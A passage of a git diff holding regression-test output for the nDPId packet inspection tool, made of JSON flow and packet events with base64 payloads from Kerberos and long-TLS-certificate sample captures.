+00716{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":711983,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"pB9ywglqAAgCHEeuCABFAAEEASNAAIAGj9+sEAjJrBAICMANwANTRptEsysugVAYAQBh\/wAABQAOAxAAAADcAIwABgAAANAW0BaHIgAAAQAAAAEAAQA1QlHjBkvREasEAMBPwtzSBAAAADMFcXG6vjdJgxm12++czDYBAAAACQYAAAEAAAChgYkwgYagAwoBAaJfBF1vWzBZoAMCAQWhAwIBD6JNMEugAwIBEqJEBEJp9mTBcU16IO1kQMogTwb1XWobfceiHBSuURHH8yh2afleWvmaoXkSqprumpVc36Wfdal7quigImkGz2pi9qx8WKijHgQcBAQE\/\/\/\/\/\/8AAAAAXc\/Il1MxPpRTzqxKK9xt6w=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1549337952265,"flow_last_seen":0,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":221,"flow_max_l4_data_len":221,"flow_avg_l4_data_len":221,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49192,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00683{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":265412,"pkt_caplen":255,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":255,"pkt_l4_len":221,"pkt":"pB9ywglqAAgCHEeuCABFAADxATFAAIAGj+SsEAjJrBAICMAoAFgO6N+GhTfTAFAYAQDd\/AAAZ6URGA8yMDM3MDkxMzAyNDgwNVqnBgIEXbrRWKgSMBACARICARECARcCARgCAv95qoGWMIGToAMCARKigYsEgYglkZxyflQKWP\/Ais8K06SJm4BPQtT0hjtYpqxsbw8zJYoGM4sYpjZXyTJirO221HZEfk4Zw9eEBLahQpLvN\/C8eKG6Szv5sdWvrvtDno9G1S6IPzDJUqQoaMmLFbqp3TeM2kcY2MDfHhnn2YOkxOZoLnNXNaT+dUxt2+N2MukPguNeobu829zS"} +00661{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":266196,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AAgCHEeupB9ywglqCABFAADbE\/lAAIAGfTKsEAgIrBAIyQBYwCiFN9i0DujgT1AYAQCK\/QAAiBuHmEFFmc+WsyXKuqx9Swihi4V8obVw5s2sIwUfT4tmX1K8bbM9re\/5e5wllRug+\/LlwLPFO11iuIJBpf\/1q6VzsWXZQ3Uhj6pv9Mvwu3XM\/Kg0OKnhbHwHjTwPH8AFLK9Xs6OvjCpemPsc4QD2yHfZIqmzSgyFffWrBEHUQ0oxARyRw\/cKuJ\/iV+cgVuWHP+LCTlyCV2gs4Zw\/xETck8iUuOpN6dDKbNN8Vw5JmilGwYg="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1549337952267,"flow_last_seen":0,"flow_tot_l4_data_len":334,"flow_min_l4_data_len":334,"flow_max_l4_data_len":334,"flow_avg_l4_data_len":334,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49191,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00844{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":267129,"pkt_caplen":368,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":368,"pkt_l4_len":334,"pkt":"pB9ywglqAAgCHEeuCABFAAFiATVAAIAGj2+sEAjJrBAICMAnAYUlT+9+CA99hlAYAQDCQwAAdUvVLNApPEvRYHXzTe8zaxz\/9SHPb\/8TWpCDGqMEAHclvciM0GOY0+pGIhzH\/f\/6jOacNFpBroqFCWgt6TZwWzHkJCgQPX52B1IK52bZg0ONYZDAO1UzroKY+wbOMCsJF8\/BbP9OSbZKzzlfun2r96DSICH7w7yEUFli3VQeP0ogbe+3tFoHFjb+05dbP\/VPGYwLelBDF4MSfNFsp+OMFLmJGy8zQTsDu6jfRxBXMbl8NmKpljCGrvpbK91ZL6OpbzC0zmaE6i4hHgj8sVok02UOBn0gMsv\/uMFl8gfFKRQNU\/cuTbNe+ET9apWENw\/dcLPR6pjmHtriptNJoQ3zVjS2Tc+IkoIqsOQ3cvktrgQFCtQLWZP3pztmcBjhot2oF4ypo07u7Pn3GnXRKfmep\/RhPO\/A8\/McJI0="} +00695{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":267833,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6E\/1AAIAGfQ+sEAgIrBAIyQGFwCcID32GJU\/wuFAYAQAMIAAAMIQAAADMAgEPYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG1aIGsolL+fu1BeIvW0ck8xNtulprbrU8LwWAQ+0HLcHzxYvBiLYdCRYKwhIeaZIrmfEg+Fmg6VMrCzRHOuCMx3gqqLIgnuXXvz9jtqiRlG1LxGN\/8hm6Dc5JLtY2J2bRsWOZJSU4VCKr7ax6LU"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":70,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1549337952273,"flow_last_seen":0,"flow_tot_l4_data_len":350,"flow_min_l4_data_len":350,"flow_max_l4_data_len":350,"flow_avg_l4_data_len":350,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49193,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00864{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":273984,"pkt_caplen":384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":384,"pkt_l4_len":350,"pkt":"pB9ywglqAAgCHEeuCABFAAFyATpAAIAGj1qsEAjJrBAICMApAYWiDvrzQ6ao6FAYAQCdKwAA2XkxbZ8llDCRRskO9gczLnFPBBStfBeg8OgSpqEBOAYdhyM5RDqy\/NVC6gFAjMdVRNF4Ud\/vkuMZvi\/C9TPqJBllB8ilyB5vY\/0m8yd5y16xkjvnwbrb\/W3CqgNY3GxQ0p18n9KBChjcbfQi2adBQLNadPsG91L4HVVYSlDxeVsaDj0AMrkXgx+K3pVveifu4IJvdTmm3dssrOx7ri4BqxH9gyHnnJM+gUu5MIG+gLCwhKX1IYuuZbwXmnO9knNSHi2TJaHys\/IKitqKHwvZMTG4i5pUecWz9NSU996q6A\/\/cM86g4TCvpD7370UyqGGHaccTUUMvb5qsoRczG++plTQXQ5YE69in6j\/JeD8IrT\/3QjjRWw+cBkDPh5zGLRzdI7hQfeBq0OXmrV0OXPvzg6Pl4TznRF\/D32Q4zoFws9t5i+mUoUZd\/0N"} +00692{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":274576,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6FAFAAIAGfQusEAgIrBAIyQGFwClDpqjoog78PVAYAQACfgAAMIQAAADMAgETYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG1lU8qvBSW6OfUooizc58b3UUWb1Dc9+q1BnNlk6M5gNl0OBLUYfNGeTN7jVmkr5YZr3HGFOATkbw9DVEo286mQ0yhq4w+ZVjlShGexAg6l9M9U7cWsZU11Tj+uS9vWEh6ZGrVD7TgBU6qOlGAU"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1549337952280,"flow_last_seen":0,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":221,"flow_max_l4_data_len":221,"flow_avg_l4_data_len":221,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49195,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00686{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":280187,"pkt_caplen":255,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":255,"pkt_l4_len":221,"pkt":"pB9ywglqAAgCHEeuCABFAADxAURAAIAGj9GsEAjJrBAICMArAFh+ue0Nm8k31FAYAQCDOwAAZ6URGA8yMDM3MDkxMzAyNDgwNVqnBgIEXbhyIagSMBACARICARECARcCARgCAv95qoGWMIGToAMCARKigYsEgYjkLV5w61M4dBZf0U0Cc\/K54wTCl69GxhAdEJKI0gkw0Ve5ZSvbl+6jcyFmUgFhA4RyBx9pGsk\/XqrLuUXPEHyz9XOfuzdWYBvPp5yv4UFPIJKI5TMk\/2fkioL\/XfCG7Jr8xEeBwNw3Qk0PtCp3\/DDaU5\/NbtOzNRQiyiFTx75LpVnwmoKHd6R7"} +00654{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":281091,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AAgCHEeupB9ywglqCABFAADbFApAAIAGfSGsEAgIrBAIyQBYwCubyT2Ifrnt1lAYAQDVagAATQg2IahlDr4Do2rw09NPfPwlJMuv1fJJCc5mjToXHNxo9crR1AT1CMr5O+bZxtqN6M9uCaNjeNur9XwIFCnpBuL05RtGDqn2i9hJpKd+E88QIO6v0xwHDv6iGr\/8TVgkK3vs2tcuY57O8+c4l9vRR7jejS5ww2dQZlIjb\/CCYROJuvRqA0LHwqGM0CcXmUposD8ISy568tJuLRICL3GBKJj5gtDiSRwMYGKFzsxgs2+QN48="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1549337952282,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49196,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":282931,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"pB9ywglqAAgCHEeuCABFAABLAUpAAIAGkHGsEAjJrBAICMAsAFiP2F5aCFrVJ1AYAQB5GAAAR6URGA8yMDM3MDkxMzAyNDgwNVqnBgIEXbhyJqgFMAMCARI="} +00475{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":282964,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAgCHEeupB9ywglqCABFAABYFBBAAIAGfZ6sEAgIrBAIyQBYwCwIWtrbj9hefVAYAQDaWgAAkAFNdIHXOvUSiNrRZ37a2E9NpclNBTiyKWuPGcwkWc2OKSpCtzAbfs9v1WRIgz2U"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1549337952282,"flow_last_seen":0,"flow_tot_l4_data_len":376,"flow_min_l4_data_len":376,"flow_max_l4_data_len":376,"flow_avg_l4_data_len":376,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49194,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00897{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":282970,"pkt_caplen":410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":410,"pkt_l4_len":376,"pkt":"pB9ywglqAAgCHEeuCABFAAGMAVBAAIAGjyqsEAjJrBAICMAqAb0OVvT1RRDYGlAYAP+BiQAAx2oDxasXfLBTEcjz3tABELHnmrS3ZANlrcp\/hNjXtg\/fwYTBDdsdTzX+XDaW+uv3s2\/LBkJPP0K4Dy0YU3CzKo3pfb0515XvBfsBO7Ma0iP8tOV8txynjcFaEQvYkdi2SQ6bebHRRKNuECPHoWmL3h9GQAZAb4a73kOXQ+HdWdMxxkSNni5ZeogFxLOO9R2cL7EvadD9j700FIRXk1Ysly6p8QSOxUcF2BTlCAMMXraIVwnaJn4OFnBRV1kK62QzrTna4Mma6JSVzK\/6fCHORQn+FIHExUVoG3Vq1BveDwHtG0XGyIXhHabrgc6YQttz\/jzBPNDyI9ROMV3pQ0pZrTLzCjs+95mV\/WzyQTG\/SRF7u\/0NE9yZnVgk7HZw7F9bqd7MfX+aga2J6\/HQLbCChYzLyXsDW8WbBsbXh+XIiTyOIboYMLvBqY271GjiVoIyA7mbRvLsykMc7DElauDSPsA2vtc="} +00765{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337952,"pkt_ts_usec":283232,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"AAgCHEeupB9ywglqCABFAAEsFBRAAIAGfMasEAgIrBAIyQG9wCpFENgaDlb2WVAYAP9XsAAAAAABAP5TTUJAAAEAAAAAAAEAHwAJAAAAAAAAAAEAAAAAAAAA\/\/4AAAAAAABhAAAAAAQAAFesIp3Ms9YkV3HyzmcNx+gJAAAASAC4AKGBtTCBsqADCgEAoQsGCSqGSIL3EgECAqKBnQSBmmCBlwYJKoZIhvcSAQICAgBvgYcwgYSgAwIBBaEDAgEPongwdqADAgESom8EbUXiUY0MYNrse7Xdy+nvFD1NZYMmVWsdodfXY9v69kCk+MLVD1Rqj48zpMQyXFgAZRbdNaLq\/lZFH5cVcwmZOZp6PzJLHFRz2Ys9FBPKwjMkCOL5scijYfadSqIU\/eT7q\/ACDBFzzf8MmsOdu9E="} diff --git a/test/results/long_tls_certificate.pcap.out b/test/results/long_tls_certificate.pcap.out new file mode 100644 index 000000000..8f5c09781 --- /dev/null +++ b/test/results/long_tls_certificate.pcap.out @@ -0,0 +1,19 @@ +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"long_tls_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1609756181300,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.60","dst_ip":"106.15.100.123","src_port":55333,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756181,"pkt_ts_usec":300869,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGqknAqAE8ag9ke9glAbsIXeEZAAAAALAC\/\/9qjwAAAgQFtAEDAwUBAQgKDpRqEwAAAAAEAgAA"} +00451{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756181,"pkt_ts_usec":671657,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"KDc3AG3IEBMx8Tl2CABFAABAAABAACsGv0lqD2R7wKgBPAG72CWlbC1xCF3hGrASMqDiugAAAgQFrAEBAQEBAQEBAQEBAQEBAQEEAgAA"} +00421{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756181,"pkt_ts_usec":671808,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGqmHAqAE8ag9ke9glAbsIXeEapWwtclAQ\/\/+JLgAA"} +01120{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756181,"pkt_ts_usec":681181,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMx8Tl2KDc3AG3ICABFAAItAABAAEAGqFzAqAE8ag9ke9glAbsIXeEapWwtclAY\/\/+6nwAAFgMBAgABAAH8AwPaLdEq+3GSHdtF+4ttW9KB\/sTfZhziqSrMTPedTeLckgAAhswUzBPMFcAwwCzAKMAkwBTACgCjAJ8AawBqADkAOP+FAMQAwwCIAIcAgcAywC7AKsAmwA\/ABQCdAD0ANQDAAITAL8ArwCfAI8ATwAkAogCeAGcAQAAzADIAvgC9AEUARMAxwC3AKcAlwA7ABACcADwALwC6AEHAEsAIABYAE8ANwAMACgD\/AQABTQAAABwAGgAAF2JlYWNvbi1hcGkuYWxpeXVuY3MuY29tAAsABAMAAQIACgA6ADgADgANABkAHAALAAwAGwAYAAkACgAaABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQANACYAJAYBBgIGA+\/vBQEFAgUDBAEEAgQD7u7t7QMBAwIDAwIBAgICAzN0AAAAEAAOAAwCaDIIaHR0cC8xLjEAFQCjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"long_tls_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1609756181300,"flow_last_seen":1609756181681,"flow_tot_l4_data_len":645,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":161,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.60","dst_ip":"106.15.100.123","src_port":55333,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"beacon-api.aliyuncs.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00426{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":32584,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAosodAACkGDtpqD2R7wKgBPAG72CWlbC1yCF3jH1AQHIRqpQAAAAAAAAAA"} +02370{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35428,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUsohAACkGCS1qD2R7wKgBPAG72CWlbC1yCF3jH1AQHIScHwAAFgMDAGYCAABiAwNJG4xUCuaJD9t\/MpaNduncOH59x5uIxbalW8qat6w+NiCgetLVp\/s33qraCXEgez0aJJBWY\/R9dMTYW1HqAw1BA8ArAAAa\/wEAAQAAAAAAAAsABAMAAQIAEAAFAAMCaDIWAwMZuAsAGbQAGbEAFT4wghU6MIIUIqADAgECAgwc5mSsdn950NYZ2Y4wDQYJKoZIhvcNAQELBQAwZjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMTM0dsb2JhbFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAeFw0yMDExMjUxMDEyMDdaFw0yMTEyMjcxMDA2MDZaMHkxCzAJBgNVBAYTAkNOMREwDwYDVQQIEwhaaGVKaWFuZzERMA8GA1UEBxMISGFuZ1pob3UxLTArBgNVBAoTJEFsaWJhYmEgKENoaW5hKSBUZWNobm9sb2d5IENvLiwgTHRkLjEVMBMGA1UEAwwMKi5hbGl5dW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEX8DOidQanu01bTZp2rxBuXR9dZJJRt7fHTflE7zGP\/bT84MkTATEhxOz3+NFOuva3vxRvYT\/N7t1iqLN\/cYtuqOCEp4wghKaMA4GA1UdDwEB\/wQEAwIDiDCBoAYIKwYBBQUHAQEEgZMwgZAwTQYIKwYBBQUHMAKGQWh0dHA6Ly9zZWN1cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L2dzb3JnYW5pemF0aW9udmFsc2hhMmcycjEuY3J0MD8GCCsGAQUFBzABhjNodHRwOi8vb2NzcDIuZ2xvYmFsc2lnbi5jb20vZ3Nvcmdhbml6YXRpb252YWxzaGEyZzIwVgYDVR0gBE8wTTBBBgkrBgEEAaAyARQwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cuZ2xvYmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wCAYGZ4EMAQICMAkGA1UdEwQCMAAwSQYDVR0fBEIwQDA+oDygOoY4aHR0cDovL2NybC5nbG9iYWxzaWduLmNvbS9ncy9nc29yZ2FuaXphdGlvbnZhbHNoYTJnMi5jcmwwgg\/OBgNVHREEgg\/FMIIPwYIMKi5hbGl5dW4uY29tghptYW5hZ2VyLmNoYW5uZWwuYWxpeXVuLmNvbYIQKi5hY2UuYWxpeXVuLmNvbYIbKi5hY3MtaW50ZXJuYWwuYWxpeXVuY3MuY29tghAqLmFjcy5hbGl5dW4uY29tghQqLmFpY3Jvd2QuYWxpeXVuLmNvbYIUKi5hbGliYWJhY2xvdWQuY28uaW6CEiouYWxpYmFiYWNsb3VkLmNvbYIVKi5hbGliYWJhY2xvdWQuY29tLmF1ghUqLmFsaWJhYmFjbG91ZC5jb20uaGuCFSouYWxpYmFiYWNsb3VkLmNvbS5teYIVKi5hbGliYWJhY2xvdWQuY29tLnNnghUqLmFsaWJhYmFjbG91ZC5jb20udHeCDCouYWxpY2RuLmNvbYIOKi5hbGljbG91ZC5jb22CFSouYWxpZ3JvdXAuYWxpeXVuLmNvbYIMKi5hbGltZWkuY29tghIqLmFsaW5rLmFsaXl1bi5jb22CFCouYWxpb3MuYWxpeXVuY3MuY29tgg0qLmFsaXBsdXMuY29tghUqLmFsaXRyYW54LmFsaXl1bi5jb22CFiouYWxpeXVuLWlvdC1zaGFyZS5jb22CDiouYWxpeXVuY3MuY29tggoqLmFseW1zLmNugh0qLmFwLW5vcnRoZWFzdC0xLmFsaXl1bmNzLmNvbYIZKi5hcC1zb3V0aC0xLmFsaXl1bmNzLmNvbYIdKi5hcC1zb3V0aGVhc3Qt"} +00792{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"long_tls_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1609756181300,"flow_last_seen":1609756182035,"flow_tot_l4_data_len":2137,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":356,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.60","dst_ip":"106.15.100.123","src_port":55333,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"beacon-api.aliyuncs.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"eee3d2bf5f17d17548ac36ba1872951f","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02360{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35504,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUsolAACkGCSxqD2R7wKgBPAG72CWlbDMeCF3jH1AQHISyVgAAMS5hbGl5dW5jcy5jb22CHSouYXAtc291dGhlYXN0LTIuYWxpeXVuY3MuY29tgh0qLmFwLXNvdXRoZWFzdC0zLmFsaXl1bmNzLmNvbYIdKi5hcC1zb3V0aGVhc3QtNS5hbGl5dW5jcy5jb22CECouYXBpLmFsaXl1bi5jb22CECouYXBtLmFsaXl1bi5jb22CECouYXBwLmFsaXl1bi5jb22CDCouYXNtbGluay5jboIUKi5iYW5tYS5hbGl5dW5jcy5jb22CFyouYmFzZS5zaHVqdS5hbGl5dW4uY29tgg8qLmJpLmFsaXl1bi5jb22CECouYml6LmFsaXl1bi5jb22CEyouYnJpZGdlLmFsaXl1bi5jb22CEiouY2NjLmFsaXl1bmNzLmNvbYITKi5jZW50ZXIuYWxpeXVuLmNvbYIWKi5jaXR5YnJhaW4uYWxpeXVuLmNvbYIVKi5jbG91ZGFwcC5hbGl5dW4uY29tgg8qLmNsb3VkZWFnbGUuY26CFiouY2xvdWRnYW1lLmFsaXl1bi5jb22CGSouY24tYmVpamluZy5hbGl5dW5jcy5jb22CGSouY24tY2hlbmdkdS5hbGl5dW5jcy5jb22CGSouY24tZ3VpemhvdS5hbGl5d